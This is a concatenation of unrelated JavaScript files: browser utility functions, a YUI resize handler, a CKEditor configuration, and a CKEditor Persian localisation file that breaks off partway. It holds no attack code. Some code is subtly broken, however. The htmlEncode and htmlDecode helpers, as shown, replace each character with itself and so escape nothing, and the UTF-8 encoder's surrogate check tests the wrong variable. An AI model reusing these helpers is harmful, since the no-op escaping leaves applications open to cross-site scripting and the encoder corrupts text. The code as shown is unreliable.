function changeClass(element, myClass) {
var elem;
if(document.getElementById) {
var elem = document.getElementById(element);
} else if (document.all){
var elem = document.all[element];
}
elem.className = myClass;
}
function changeImage(target, source) {
var imageObj;
if (objBrowser.ns4) {
imageObj = getImage(target);
if (imageObj) imageObj.src = eval(source).src;
} else {
imageObj = eval('document.images.' + target);
if (imageObj) imageObj.src = eval(source).src;
}
}
function changeBGColour(myObject, colour) {
if (objBrowser.ns4) {
var obj = getObjNN4(document, myObject);
obj.bgColor=colour;
} else {
var obj = getStyleObject(myObject);
if (objBrowser.op5) {
obj.background = colour;
} else {
obj.backgroundColor = colour;
}
}
}
function getAbsolutePosition(element)
{
var r = { x: element.offsetLeft, y: element.offsetTop };
if (element.offsetParent) {
var tmp = getAbsolutePosition(element.offsetParent);
r.x += tmp.x;
r.y += tmp.y;
}
return r;
};
/**
* Retrieve the coordinates of the given event relative to the center
* of the widget.
*
* @param event
* A mouse-related DOM event.
* @param reference
* A DOM element whose position we want to transform the mouse coordinates to.
* @return
* A hash containing keys 'x' and 'y'.
*/
function getRelativeCoordinates(event, reference) {
var x, y;
event = event || window.event;
var el = event.target || event.srcElement;
if (!window.opera && typeof event.offsetX != 'undefined') {
// Use offset coordinates and find common offsetParent
var pos = { x: event.offsetX, y: event.offsetY };
// Send the coordinates upwards through the offsetParent chain.
var e = el;
while (e) {
e.mouseX = pos.x;
e.mouseY = pos.y;
pos.x += e.offsetLeft;
pos.y += e.offsetTop;
e = e.offsetParent;
}
// Look for the coordinates starting from the reference element.
var e = reference;
var offset = { x: 0, y: 0 }
while (e) {
if (typeof e.mouseX != 'undefined') {
x = e.mouseX - offset.x;
y = e.mouseY - offset.y;
break;
}
offset.x += e.offsetLeft;
offset.y += e.offsetTop;
e = e.offsetParent;
}
// Reset stored coordinates
e = el;
while (e) {
e.mouseX = undefined;
e.mouseY = undefined;
e = e.offsetParent;
}
}
else {
// Use absolute coordinates
var pos = getAbsolutePosition(reference);
x = event.pageX - pos.x;
y = event.pageY - pos.y;
}
// Subtract distance to middle
return { x: x, y: y };
}
function utf8(wide) {
var c, s;
var enc = "";
var i = 0;
while(i < wide.length) {
c= wide.charCodeAt(i++);
// handle UTF-16 surrogates
if (c >= 0xDC00 && c < 0xE000) continue;
if (c >= 0xD800 && c < 0xDC00) {
if (i >= wide.length) continue;
s = wide.charCodeAt(i ++);
if (s < 0xDC00 || c >= 0xDE00) continue;
c= ((c - 0xD800) << 10) + (s - 0xDC00) + 0x10000;
}
// output value
if (c < 0x80) enc += String.fromCharCode(c);
else if (c < 0x800) enc += String.fromCharCode(0xC0 + (c >> 6), 0x80 + (c & 0x3F));
else if (c < 0x10000) enc += String.fromCharCode(0xE0 + (c >> 12), 0x80 + (c >> 6 & 0x3F), 0x80 + (c & 0x3F));
else enc += String.fromCharCode(0xF0 + (c >> 18), 0x80 + (c >> 12 & 0x3F), 0x80 + (c >> 6&0x3F), 0x80 + (c & 0x3F));
}
return enc;
}
var hexchars = "0123456789ABCDEF";
function toHex(n) {
return hexchars.charAt(n >> 4) + hexchars.charAt(n & 0xF);
}
/*
Example File From "JavaScript and DHTML Cookbook"
Published by O'Reilly & Associates
Copyright 2003 Danny Goodman
*/
function getElementStyle(elemID, IEStyleAttr, CSSStyleAttr) {
var elem = document.getElementById(elemID);
if(elem != null) {
if (elem.currentStyle) {
return elem.currentStyle[IEStyleAttr];
} else if (window.getComputedStyle) {
var compStyle = window.getComputedStyle(elem, "");
return compStyle.getPropertyValue(CSSStyleAttr);
}
} else {
//alert(elemID + " is not an element");
}
return "0";
}
function htmlEncode(value) {
return value.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">").replace(/\"/g, """).replace(/\'/g, "'");
}
function htmlDecode(value) {
return value.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">").replace(/"/g, "\"").replace(/'/g, "'");
}
function appendOptionLast(objSelect, text, value)
{
var newOpt = document.createElement('option');
newOpt.text = text;
newOpt.value = value;
try {
objSelect.add(newOpt, null); // standards compliant; doesn't work in IE
} catch(ex) {
objSelect.add(newOpt); // IE only
}
}
// ThaoNguyen
// 123456.789 -> 123,456.789
function toNumericString(obj){
var str= new String(obj);
if(str == null || str.length < 1)
return "";
var strs = null;
if(str.indexOf(".", 0) >= 0) {
strs = str.split(".");
} else {
strs = new Array();
strs[0] = str;
}
var result = "";
var index = strs[0].length;
var len = strs[0].length;
do{
var num = (index >= 3) ? 3 : index;
index = ((index - 3) > 0) ? (index - 3) : 0;
result = strs[0].substr(index, num) + (result.length > 0 ? "," : "") + result;
} while(index > 0);
if(strs.length > 1 && strs[1].length > 0) {
result += "." + strs[1];
}
return result;
}
function getURLParam( name ) {
name = name.replace(/[\[]/,"\\\[").replace(/[\]]/,"\\\]");
var regexS = "[\\?&]"+name+"=([^&#]*)";
var regex = new RegExp( regexS );
var results = regex.exec( window.location.href );
if( results == null )
return "";
else
return results[1];
}
function getFileExtension(fileName)
{
if(fileName.length == 0) {
return "";
}
var dot = fileName.lastIndexOf(".");
if(dot == -1) {
return "";
}
var extension = fileName.substr(dot, fileName.length);
return extension;
}
function checkFileType(fileName, allowedExt)
{
if (!isArray(allowedExt)) {
return false;
}
if (!fileName)
return true;
var ext = getFileExtension(fileName);
if( ext == "" ) {
return false;
} else {
ext = ext.toLowerCase();
for(var i = 0; i < allowedExt.length; i++) {
if(ext == allowedExt[i].toLowerCase()) {
return true;
}
}
}
return false;
}
function getIEVersionNumber() {
var ua = navigator.userAgent;
var MSIEOffset = ua.indexOf("MSIE ");
if (MSIEOffset == -1) {
return 0;
} else {
return parseFloat(ua.substring(MSIEOffset + 5, ua.indexOf(";", MSIEOffset)));
}
} | JavaScript |
function getClientWidth() {
return (
window.innerWidth ? window.innerWidth : (document.documentElement ? document.documentElement.clientWidth : (document.body ? document.body.clientWidth : 0 ))
);
};
function getClientHeight() {
return (
window.innerHeight ? window.innerHeight : (document.documentElement ? document.documentElement.clientHeight : (document.body ? document.body.clientHeight : 0 ))
);
};
var onResizeWindow = function() {
var oDom = YAHOO.util.Dom;
var docHeight = getClientHeight();
var docWidth = getClientWidth();
var headerHeight = oDom.get('header').clientHeight;
var mainHeight = oDom.get('main').clientHeight;
var footerHeight = oDom.get('footer').clientHeight;
if (YAHOO.env.ua.ie > 0 && YAHOO.env.ua.ie < 7) {
var minHeight = docHeight - headerHeight - footerHeight - 50;
if(minHeight < 276) {
minHeight = 276;
}
if (oDom.getStyle('main', 'min-height') != ('' + (minHeight) + 'px')) {
oDom.setStyle('main', 'min-height', '' + (minHeight) + 'px');
}
} else {
var minHeight = docHeight - headerHeight - footerHeight - 27;
if(minHeight < 276) {
minHeight = 276;
}
if (oDom.getStyle('main', 'min-height') != ('' + (minHeight) + 'px')) {
oDom.setStyle('main', 'min-height', '' + (minHeight) + 'px');
}
}
};
YAHOO.util.Event.onDOMReady(function() {
onResizeWindow();
window.onresize = onResizeWindow;
NTTHAO.gridview.init('tbGrid');
}); | JavaScript |
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.editorConfig = function( config )
{
// Define changes to default configuration here. For example:
// config.language = 'fr';
// config.uiColor = '#AADC6E';
config.extraPlugins = 'selectImage,MediaEmbed';
};
| JavaScript |
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
/*
Copyright (c) 2003-2013, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
/**
* @fileOverview Defines the {@link CKEDITOR.lang} object for the
* Persian language.
*/
/**#@+
@type String
@example
*/
/**
* Contains the dictionary of language entries.
* @namespace
*/
CKEDITOR.lang['fa'] =
{
/**
* The language reading direction. Possible values are "rtl" for
* Right-To-Left languages (like Arabic) and "ltr" for Left-To-Right
* languages (like English).
* @default 'ltr'
*/
dir : 'rtl',
/*
* Screenreader titles. Please note that screenreaders are not always capable
* of reading non-English words. So be careful while translating it.
*/
editorTitle : 'ویرایشگر متن غنی, %1',
editorHelp : 'کلید Alt+0 را برای راهنمایی بفشارید',
// ARIA descriptions.
toolbars : 'نوار ابزار',
editor : 'ویرایشگر متن غنی',
// Toolbar buttons without dialogs.
source : 'منبع',
newPage : 'برگهٴ تازه',
save : 'ذخیره',
preview : 'پیشنمایش',
cut : 'برش',
copy : 'کپی',
paste : 'چسباندن',
print : 'چاپ',
underline : 'زیرخطدار',
bold : 'درشت',
italic : 'خمیده',
selectAll : 'گزینش همه',
removeFormat : 'برداشتن فرمت',
strike : 'میانخط',
subscript : 'زیرنویس',
superscript : 'بالانویس',
horizontalrule : 'گنجاندن خط افقی',
pagebreak : 'گنجاندن شکستگی پایان برگه',
pagebreakAlt : 'شکستن صفحه',
unlink : 'برداشتن پیوند',
undo : 'واچیدن',
redo : 'بازچیدن',
// Common messages and labels.
common :
{
browseServer : 'فهرستنمایی سرور',
url : 'URL',
protocol : 'پروتکل',
upload : 'انتقال به سرور',
uploadSubmit : 'به سرور بفرست',
image : 'تصویر',
flash : 'فلش',
form : 'فرم',
checkbox : 'خانهٴ گزینهای',
radio : 'دکمهٴ رادیویی',
textField : 'فیلد متنی',
textarea : 'ناحیهٴ متنی',
hiddenField : 'فیلد پنهان',
button : 'دکمه',
select : 'فیلد چندگزینهای',
imageButton : 'دکمهٴ تصویری',
notSet : '<تعین نشده>',
id : 'شناسه',
name : 'نام',
langDir : 'جهتنمای زبان',
langDirLtr : 'چپ به راست (LTR)',
langDirRtl : 'راست به چپ (RTL)',
langCode : 'کد زبان',
longDescr : 'URL توصیف طولانی',
cssClass : 'کلاسهای شیوهنامه(Stylesheet)',
advisoryTitle : 'عنوان کمکی',
cssStyle : 'شیوه(style)',
ok : 'پذیرش',
cancel : 'انصراف',
close : 'بستن',
preview : 'پیشنمایش',
generalTab : 'عمومی',
advancedTab : 'پیشرفته',
validateNumberFailed : 'این مقدار یک عدد نیست.',
confirmNewPage : 'هر تغییر ایجاد شدهی ذخیره نشده از بین خواهد رفت. آیا اطمینان دارید که قصد بارگیری صفحه جدیدی را دارید؟',
confirmCancel : 'برخی از گزینهها تغییر کردهاند. آیا واقعا قصد بستن این پنجره را دارید؟',
options : 'گزینهها',
target : 'مسیر',
targetNew : 'پنجره جدید (_blank)',
targetTop : 'بالاترین پنجره (_top)',
targetSelf : 'همان پنجره (_self)',
targetParent : 'پنجره والد (_parent)',
langDirLTR : 'چپ به راست (LTR)',
langDirRTL : 'راست به چپ (RTL)',
styles : 'سبک',
cssClasses : 'کلاسهای شیوهنامه',
width : 'پهنا',
height : 'درازا',
align : 'چینش',
alignLeft : 'چپ',
alignRight : 'راست',
alignCenter : 'وسط',
alignTop : 'بالا',
alignMiddle : 'وسط',
alignBottom : 'پائین',
invalidValue : 'Invalid value.', // MISSING
invalidHeight : 'ارتفاع باید یک عدد باشد.',
invalidWidth : 'پهنا باید یک عدد باشد.',
invalidCssLength : 'عدد تعیین شده برای فیلد "%1" باید یک عدد مثبت با یا بدون یک واحد اندازه گیری CSS معتبر باشد (px, %, in, cm, mm, em, ex, pt, or pc).',
invalidHtmlLength : 'عدد تعیین شده برای فیلد "%1" باید یک عدد مثبت با یا بدون یک واحد اندازه گیری HTML معتبر باشد (px or %).',
invalidInlineStyle : 'عدد تعیین شده برای سبک درونخطی(Inline Style) باید دارای یک یا چند چندتایی با شکلی شبیه "name : value" که باید با یک ","(semi-colons) از هم جدا شوند.',
cssLengthTooltip : 'یک عدد برای یک مقدار بر حسب پیکسل و یا یک عدد با یک واحد CSS معتبر وارد کنید (px, %, in, cm, mm, em, ex, pt, or pc).',
// Put the voice-only part of the label in the span.
unavailable : '%1<span class="cke_accessibility">، غیر قابل دسترس</span>'
},
contextmenu :
{
options : 'گزینههای منوی زمینه'
},
// Special char dialog.
specialChar :
{
toolbar : 'گنجاندن نویسهٴ ویژه',
title : 'گزینش نویسهٴ ویژه',
options : 'گزینههای نویسههای ویژه'
},
// Link dialog.
link :
{
toolbar : 'گنجاندن/ویرایش پیوند',
other : '<سایر>',
menu : 'ویرایش پیوند',
title : 'پیوند',
info : 'اطلاعات پیوند',
target : 'مقصد',
upload : 'انتقال به سرور',
advanced : 'پیشرفته',
type : 'نوع پیوند',
toUrl : 'URL',
toAnchor : 'لنگر در همین صفحه',
toEmail : 'پست الکترونیکی',
targetFrame : '<فریم>',
targetPopup : '<پنجرهٴ پاپاپ>',
targetFrameName : 'نام فریم مقصد',
targetPopupName : 'نام پنجرهٴ پاپاپ',
popupFeatures : 'ویژگیهای پنجرهٴ پاپاپ',
popupResizable : 'قابل تغییر اندازه',
popupStatusBar : 'نوار وضعیت',
popupLocationBar: 'نوار موقعیت',
popupToolbar : 'نوارابزار',
popupMenuBar : 'نوار منو',
popupFullScreen : 'تمامصفحه (IE)',
popupScrollBars : 'میلههای پیمایش',
popupDependent : 'وابسته (Netscape)',
popupLeft : 'موقعیت چپ',
popupTop : 'موقعیت بالا',
id : 'شناسه',
langDir : 'جهتنمای زبان',
langDirLTR : 'چپ به راست (LTR)',
langDirRTL : 'راست به چپ (RTL)',
acccessKey : 'کلید دستیابی',
name : 'نام',
langCode : 'جهتنمای زبان',
tabIndex : 'نمایهٴ دسترسی با برگه',
advisoryTitle : 'عنوان کمکی',
advisoryContentType : 'نوع محتوای کمکی',
cssClasses : 'کلاسهای شیوهنامه(Stylesheet)',
charset : 'نویسهگان منبع پیوند شده',
styles : 'شیوه(style)',
rel : 'وابستگی',
selectAnchor : 'یک لنگر برگزینید',
anchorName : 'با نام لنگر',
anchorId : 'با شناسهٴ المان',
emailAddress : 'نشانی پست الکترونیکی',
emailSubject : 'موضوع پیام',
emailBody : 'متن پیام',
noAnchors : '(در این سند لنگری دردسترس نیست)',
noUrl : 'لطفا URL پیوند را بنویسید',
noEmail : 'لطفا نشانی پست الکترونیکی را بنویسید'
},
// Anchor dialog
anchor :
{
toolbar : 'گنجاندن/ویرایش لنگر',
menu : 'ویژگیهای لنگر',
title : 'ویژگیهای لنگر',
name : 'نام لنگر',
errorName : 'لطفا نام لنگر را بنویسید',
remove : 'حذف لنگر'
},
// List style dialog
list:
{
numberedTitle : 'ویژگیهای فهرست شمارهدار',
bulletedTitle : 'ویژگیهای فهرست گلولهدار',
type : 'نوع',
start : 'شروع',
validateStartNumber :'فهرست شماره شروع باید یک عدد صحیح باشد.',
circle : 'دایره',
disc : 'صفحه گرد',
square : 'چهارگوش',
none : 'هیچ',
notset : '<تنظیم نشده>',
armenian : 'شمارهگذاری ارمنی',
georgian : 'شمارهگذاری گریگورین (an, ban, gan, etc.)',
lowerRoman : 'پانویس رومی (i, ii, iii, iv, v, etc.)',
upperRoman : 'بالانویس رومی (I, II, III, IV, V, etc.)',
lowerAlpha : 'پانویس الفبایی (a, b, c, d, e, etc.)',
upperAlpha : 'بالانویس الفبایی (A, B, C, D, E, etc.)',
lowerGreek : 'پانویس یونانی (alpha, beta, gamma, etc.)',
decimal : 'دهدهی (1, 2, 3, etc.)',
decimalLeadingZero : 'دهدهی همراه با صفر (01, 02, 03, etc.)'
},
// Find And Replace Dialog
findAndReplace :
{
title : 'جستجو و جایگزینی',
find : 'جستجو',
replace : 'جایگزینی',
findWhat : 'چه چیز را مییابید:',
replaceWith : 'جایگزینی با:',
notFoundMsg : 'متن موردنظر یافت نشد.',
findOptions : 'گزینههای جستجو',
matchCase : 'همسانی در بزرگی و کوچکی نویسهها',
matchWord : 'همسانی با واژهٴ کامل',
matchCyclic : 'همسانی با چرخه',
replaceAll : 'جایگزینی همهٴ یافتهها',
replaceSuccessMsg : '%1 رخداد جایگزین شد.'
},
// Table Dialog
table :
{
toolbar : 'جدول',
title : 'ویژگیهای جدول',
menu : 'ویژگیهای جدول',
deleteTable : 'پاک کردن جدول',
rows : 'سطرها',
columns : 'ستونها',
border : 'اندازهٴ لبه',
widthPx : 'پیکسل',
widthPc : 'درصد',
widthUnit : 'واحد پهنا',
cellSpace : 'فاصلهٴ میان سلولها',
cellPad : 'فاصلهٴ پرشده در سلول',
caption : 'عنوان',
summary : 'خلاصه',
headers : 'سرنویسها',
headersNone : 'هیچ',
headersColumn : 'اولین ستون',
headersRow : 'اولین ردیف',
headersBoth : 'هردو',
invalidRows : 'تعداد ردیفها باید یک عدد بزرگتر از 0 باشد.',
invalidCols : 'تعداد ستونها باید یک عدد بزرگتر از 0 باشد.',
invalidBorder : 'مقدار اندازه خطوط باید یک عدد باشد.',
invalidWidth : 'مقدار پهنای جدول باید یک عدد باشد.',
invalidHeight : 'مقدار ارتفاع جدول باید یک عدد باشد.',
invalidCellSpacing : 'مقدار فاصلهگذاری سلول باید یک عدد باشد.',
invalidCellPadding : 'بالشتک سلول باید یک عدد باشد.',
cell :
{
menu : 'سلول',
insertBefore : 'افزودن سلول قبل از',
insertAfter : 'افزودن سلول بعد از',
deleteCell : 'حذف سلولها',
merge : 'ادغام سلولها',
mergeRight : 'ادغام به راست',
mergeDown : 'ادغام به پایین',
splitHorizontal : 'جدا کردن افقی سلول',
splitVertical : 'جدا کردن عمودی سلول',
title : 'ویژگیهای سلول',
cellType : 'نوع سلول',
rowSpan : 'محدوده ردیفها',
colSpan : 'محدوده ستونها',
wordWrap : 'شکستن کلمه',
hAlign : 'چینش افقی',
vAlign : 'چینش عمودی',
alignBaseline : 'خط مبنا',
bgColor : 'رنگ زمینه',
borderColor : 'رنگ خطوط',
data : 'اطلاعات',
header : 'سرنویس',
yes : 'بله',
no : 'خیر',
invalidWidth : 'عرض سلول باید یک عدد باشد.',
invalidHeight : 'ارتفاع سلول باید عدد باشد.',
invalidRowSpan : 'مقدار محدوده ردیفها باید یک عدد باشد.',
invalidColSpan : 'مقدار محدوده ستونها باید یک عدد باشد.',
chooseColor : 'انتخاب'
},
row :
{
menu : 'سطر',
insertBefore : 'افزودن سطر قبل از',
insertAfter : 'افزودن سطر بعد از',
deleteRow : 'حذف سطرها'
},
column :
{
menu : 'ستون',
insertBefore : 'افزودن ستون قبل از',
insertAfter : 'افزودن ستون بعد از',
deleteColumn : 'حذف ستونها'
}
},
// Button Dialog.
button :
{
title : 'ویژگیهای دکمه',
text : 'متن (مقدار)',
type : 'نوع',
typeBtn : 'دکمه',
typeSbm : 'ثبت',
typeRst : 'بازنشانی (Reset)'
},
// Checkbox and Radio Button Dialogs.
checkboxAndRadio :
{
checkboxTitle : 'ویژگیهای خانهٴ گزینهای',
radioTitle : 'ویژگیهای دکمهٴ رادیویی',
value : 'مقدار',
selected : 'برگزیده'
},
// Form Dialog.
form :
{
title : 'ویژگیهای فرم',
menu : 'ویژگیهای فرم',
action : 'رویداد',
method : 'متد',
encoding : 'رمزنگاری'
},
// Select Field Dialog.
select :
{
title : 'ویژگیهای فیلد چندگزینهای',
selectInfo : 'اطلاعات',
opAvail : 'گزینههای دردسترس',
value : 'مقدار',
size : 'اندازه',
lines : 'خطوط',
chkMulti : 'گزینش چندگانه فراهم باشد',
opText : 'متن',
opValue : 'مقدار',
btnAdd : 'افزودن',
btnModify : 'ویرایش',
btnUp : 'بالا',
btnDown : 'پائین',
btnSetValue : 'تنظیم به عنوان مقدار برگزیده',
btnDelete : 'پاککردن'
},
// Textarea Dialog.
textarea :
{
title : 'ویژگیهای ناحیهٴ متنی',
cols : 'ستونها',
rows : 'سطرها'
},
// Text Field Dialog.
textfield :
{
title : 'ویژگیهای فیلد متنی',
name : 'نام',
value : 'مقدار',
charWidth : 'پهنای نویسه',
maxChars : 'بیشینهٴ نویسهها',
type : 'نوع',
typeText : 'متن',
typePass : 'گذرواژه'
},
// Hidden Field Dialog.
hidden :
{
title : 'ویژگیهای فیلد پنهان',
name : 'نام',
value : 'مقدار'
},
// Image Dialog.
image :
{
title : 'ویژگیهای تصویر',
titleButton : 'ویژگیهای دکمهٴ تصویری',
menu : 'ویژگیهای تصویر',
infoTab : 'اطلاعات تصویر',
btnUpload : 'به سرور بفرست',
upload : 'انتقال به سرور',
alt : 'متن جایگزین',
lockRatio : 'قفل کردن نسبت',
resetSize : 'بازنشانی اندازه',
border : 'لبه',
hSpace : 'فاصلهٴ افقی',
vSpace : 'فاصلهٴ عمودی',
alertUrl : 'لطفا URL تصویر را بنویسید',
linkTab : 'پیوند',
button2Img : 'آیا مایلید از یک تصویر ساده روی دکمه تصویری انتخاب شده استفاده کنید؟',
img2Button : 'آیا مایلید از یک دکمه تصویری روی تصویر انتخاب شده استفاده کنید؟',
urlMissing : 'آدرس URL اصلی تصویر یافت نشد.',
validateBorder : 'مقدار خطوط باید یک عدد باشد.',
validateHSpace : 'مقدار فاصلهگذاری افقی باید یک عدد باشد.',
validateVSpace : 'مقدار فاصلهگذاری عمودی باید یک عدد باشد.'
},
// Flash Dialog
flash :
{
properties : 'ویژگیهای فلش',
propertiesTab : 'ویژگیها',
title : 'ویژگیهای فلش',
chkPlay : 'آغاز خودکار',
chkLoop : 'اجرای پیاپی',
chkMenu : 'در دسترس بودن منوی فلش',
chkFull : 'اجازه تمام صفحه',
scale : 'مقیاس',
scaleAll : 'نمایش همه',
scaleNoBorder : 'بدون کران',
scaleFit : 'جایگیری کامل',
access : 'دسترسی به اسکریپت',
accessAlways : 'همیشه',
accessSameDomain: 'همان دامنه',
accessNever : 'هرگز',
alignAbsBottom : 'پائین مطلق',
alignAbsMiddle : 'وسط مطلق',
alignBaseline : 'خط پایه',
alignTextTop : 'متن بالا',
quality : 'کیفیت',
qualityBest : 'بهترین',
qualityHigh : 'بالا',
qualityAutoHigh : 'بالا - خودکار',
qualityMedium : 'متوسط',
qualityAutoLow : 'پایین - خودکار',
qualityLow : 'پایین',
windowModeWindow: 'پنجره',
windowModeOpaque: 'مات',
windowModeTransparent : 'شفاف',
windowMode : 'حالت پنجره',
flashvars : 'مقادیر برای فلش',
bgcolor : 'رنگ پسزمینه',
hSpace : 'فاصلهٴ افقی',
vSpace : 'فاصلهٴ عمودی',
validateSrc : 'لطفا URL پیوند را بنویسید',
validateHSpace : 'مقدار فاصلهگذاری افقی باید یک عدد باشد.',
validateVSpace : 'مقدار فاصلهگذاری عمودی باید یک عدد باشد.'
},
// Speller Pages Dialog
spellCheck :
{
toolbar : 'بررسی املا',
title : 'بررسی املا',
notAvailable : 'با عرض پوزش خدمات الان در دسترس نیستند.',
errorLoading : 'خطا در بارگیری برنامه خدمات میزبان: %s.',
notInDic : 'در واژه~نامه یافت نشد',
changeTo : 'تغییر به',
btnIgnore : 'چشمپوشی',
btnIgnoreAll : 'چشمپوشی همه',
btnReplace : 'جایگزینی',
btnReplaceAll : 'جایگزینی همه',
btnUndo : 'واچینش',
noSuggestions : '- پیشنهادی نیست -',
progress : 'بررسی املا در حال انجام...',
noMispell : 'بررسی املا انجام شد. هیچ غلط املائی یافت نشد',
noChanges : 'بررسی املا انجام شد. هیچ واژهای تغییر نیافت',
oneChange : 'بررسی املا انجام شد. یک واژه تغییر یافت',
manyChanges : 'بررسی املا انجام شد. %1 واژه تغییر یافت',
ieSpellDownload : 'بررسی کنندهٴ املا نصب نشده است. آیا میخواهید آن را هماکنون دریافت کنید؟'
},
smiley :
{
toolbar : 'خندانک',
title : 'گنجاندن خندانک',
options : 'گزینههای خندانک'
},
elementsPath :
{
eleLabel : 'مسیر عناصر',
eleTitle : '%1 عنصر'
},
numberedlist : 'فهرست شمارهدار',
bulletedlist : 'فهرست نقطهای',
indent : 'افزایش تورفتگی',
outdent : 'کاهش تورفتگی',
justify :
{
left : 'چپچین',
center : 'میانچین',
right : 'راستچین',
block : 'بلوکچین'
},
blockquote : 'بلوک نقل قول',
clipboard :
{
title : 'چسباندن',
cutError : 'تنظیمات امنیتی مرورگر شما اجازه نمیدهد که ویرایشگر به طور خودکار عملکردهای برش را انجام دهد. لطفا با دکمههای صفحه کلید این کار را انجام دهید (Ctrl/Cmd+X).',
copyError : 'تنظیمات امنیتی مرورگر شما اجازه نمیدهد که ویرایشگر به طور خودکار عملکردهای کپی کردن را انجام دهد. لطفا با دکمههای صفحه کلید این کار را انجام دهید (Ctrl/Cmd+C).',
pasteMsg : 'لطفا متن را با کلیدهای (<STRONG>Ctrl/Cmd+V</STRONG>) در این جعبهٴ متنی بچسبانید و <STRONG>پذیرش</STRONG> را بزنید.',
securityMsg : 'به خاطر تنظیمات امنیتی مرورگر شما، ویرایشگر نمیتواند دسترسی مستقیم به دادههای clipboard داشته باشد. شما باید دوباره آنرا در این پنجره بچسبانید.',
pasteArea : 'محل چسباندن'
},
pastefromword :
{
confirmCleanup : 'متنی که میخواهید بچسبانید به نظر میرسد که از Word کپی شده است. آیا میخواهید قبل از چسباندن آن را پاکسازی کنید؟',
toolbar : 'چسباندن از Word',
title : 'چسباندن از Word',
error : 'به دلیل بروز خطای داخلی امکان پاکسازی اطلاعات بازنشانی شده وجود ندارد.'
},
pasteText :
{
button : 'چسباندن به عنوان متن ِساده',
title : 'چسباندن به عنوان متن ِساده'
},
templates :
{
button : 'الگوها',
title : 'الگوهای محتویات',
options : 'گزینههای الگو',
insertOption : 'محتویات کنونی جایگزین شوند',
selectPromptMsg : 'لطفا الگوی موردنظر را برای بازکردن در ویرایشگر برگزینید<br>(محتویات کنونی از دست خواهند رفت):',
emptyListMsg : '(الگوئی تعریف نشده است)'
},
showBlocks : 'نمایش بلوکها',
stylesCombo :
{
label : 'سبک',
panelTitle : 'سبکهای قالببندی',
panelTitle1 : 'سبکهای بلوک',
panelTitle2 : 'سبکهای درونخطی',
panelTitle3 : 'سبکهای شیء'
},
format :
{
label : 'فرمت',
panelTitle : 'فرمت',
tag_p : 'نرمال',
tag_pre : 'فرمت شده',
tag_address : 'آدرس',
tag_h1 : 'سرنویس 1',
tag_h2 : 'سرنویس 2',
tag_h3 : 'سرنویس 3',
tag_h4 : 'سرنویس 4',
tag_h5 : 'سرنویس 5',
tag_h6 : 'سرنویس 6',
tag_div : 'بند'
},
div :
{
title : 'ایجاد یک محل DIV',
toolbar : 'ایجاد یک محل DIV',
cssClassInputLabel : 'کلاسهای شیوهنامه',
styleSelectLabel : 'سبک',
IdInputLabel : 'شناسه',
languageCodeInputLabel : ' کد زبان',
inlineStyleInputLabel : 'سبک درونخطی(Inline Style)',
advisoryTitleInputLabel : 'عنوان مشاوره',
langDirLabel : 'جهت نوشتاری زبان',
langDirLTRLabel : 'چپ به راست (LTR)',
langDirRTLLabel : 'راست به چپ (RTL)',
edit : 'ویرایش Div',
remove : 'حذف Div'
},
iframe :
{
title : 'ویژگیهای IFrame',
toolbar : 'IFrame',
noUrl : 'لطفا مسیر URL iframe را درج کنید',
scrolling : 'نمایش خطکشها',
border : 'نمایش خطوط frame'
},
font :
{
label : 'قلم',
voiceLabel : 'قلم',
panelTitle : 'قلم'
},
fontSize :
{
label : 'اندازه',
voiceLabel : 'اندازه قلم',
panelTitle : 'اندازه'
},
colorButton :
{
textColorTitle : 'رنگ متن',
bgColorTitle : 'رنگ پسزمینه',
panelTitle : 'رنگها',
auto : 'خودکار',
more : 'رنگهای بیشتر...'
},
colors :
{
'000' : 'سیاه',
'800000' : 'خرمایی',
'8B4513' : 'قهوهای شکلاتی',
'2F4F4F' : 'ارغوانی مایل به خاکستری',
'008080' : 'آبی مایل به خاکستری',
'000080' : 'آبی سیر',
'4B0082' : 'نیلی',
'696969' : 'خاکستری تیره',
'B22222' : 'آتش آجری',
'A52A2A' : 'قهوهای',
'DAA520' : 'میلهی طلایی',
'006400' : 'سبز تیره',
'40E0D0' : 'فیروزهای',
'0000CD' : 'آبی روشن',
'800080' : 'ارغوانی',
'808080' : 'خاکستری',
'F00' : 'قرمز',
'FF8C00' : 'نارنجی پررنگ',
'FFD700' : 'طلایی',
'008000' : 'سبز',
'0FF' : 'آبی مایل به سبز',
'00F' : 'آبی',
'EE82EE' : 'بنفش',
'A9A9A9' : 'خاکستری مات',
'FFA07A' : 'صورتی کدر روشن',
'FFA500' : 'نارنجی',
'FFFF00' : 'زرد',
'00FF00' : 'فسفری',
'AFEEEE' : 'فیروزهای رنگ پریده',
'ADD8E6' : 'آبی کمرنگ',
'DDA0DD' : 'آلویی',
'D3D3D3' : 'خاکستری روشن',
'FFF0F5' : 'بنفش کمرنگ',
'FAEBD7' : 'عتیقه سفید',
'FFFFE0' : 'زرد روشن',
'F0FFF0' : 'عسلی',
'F0FFFF' : 'لاجوردی',
'F0F8FF' : 'آبی براق',
'E6E6FA' : 'بنفش کمرنگ',
'FFF' : 'سفید'
},
scayt :
{
title : 'بررسی املای تایپ شما',
opera_title : 'توسط اپرا پشتیبانی نمیشود',
enable : 'فعالسازی SCAYT',
disable : 'غیرفعالسازی SCAYT',
about : 'درباره SCAYT',
toggle : 'ضامن SCAYT',
options : 'گزینهها',
langs : 'زبانها',
moreSuggestions : 'پیشنهادهای بیشتر',
ignore : 'عبور کردن',
ignoreAll : 'عبور کردن از همه',
addWord : 'افزودن Word',
emptyDic : 'نام دیکشنری نباید خالی باشد.',
noSuggestions : 'No suggestions', // MISSING
optionsTab : 'گزینهها',
allCaps : 'نادیده گرفتن همه کلاه-واژهها',
ignoreDomainNames : 'عبور از نامهای دامنه',
mixedCase : 'عبور از کلماتی مرکب از حروف بزرگ و کوچک',
mixedWithDigits : 'عبور از کلمات به همراه عدد',
languagesTab : 'زبانها',
dictionariesTab : 'دیکشنریها',
dic_field_name : 'نام دیکشنری',
dic_create : 'ایجاد',
dic_restore : 'بازیافت',
dic_delete : 'حذف',
dic_rename : 'تغییر نام',
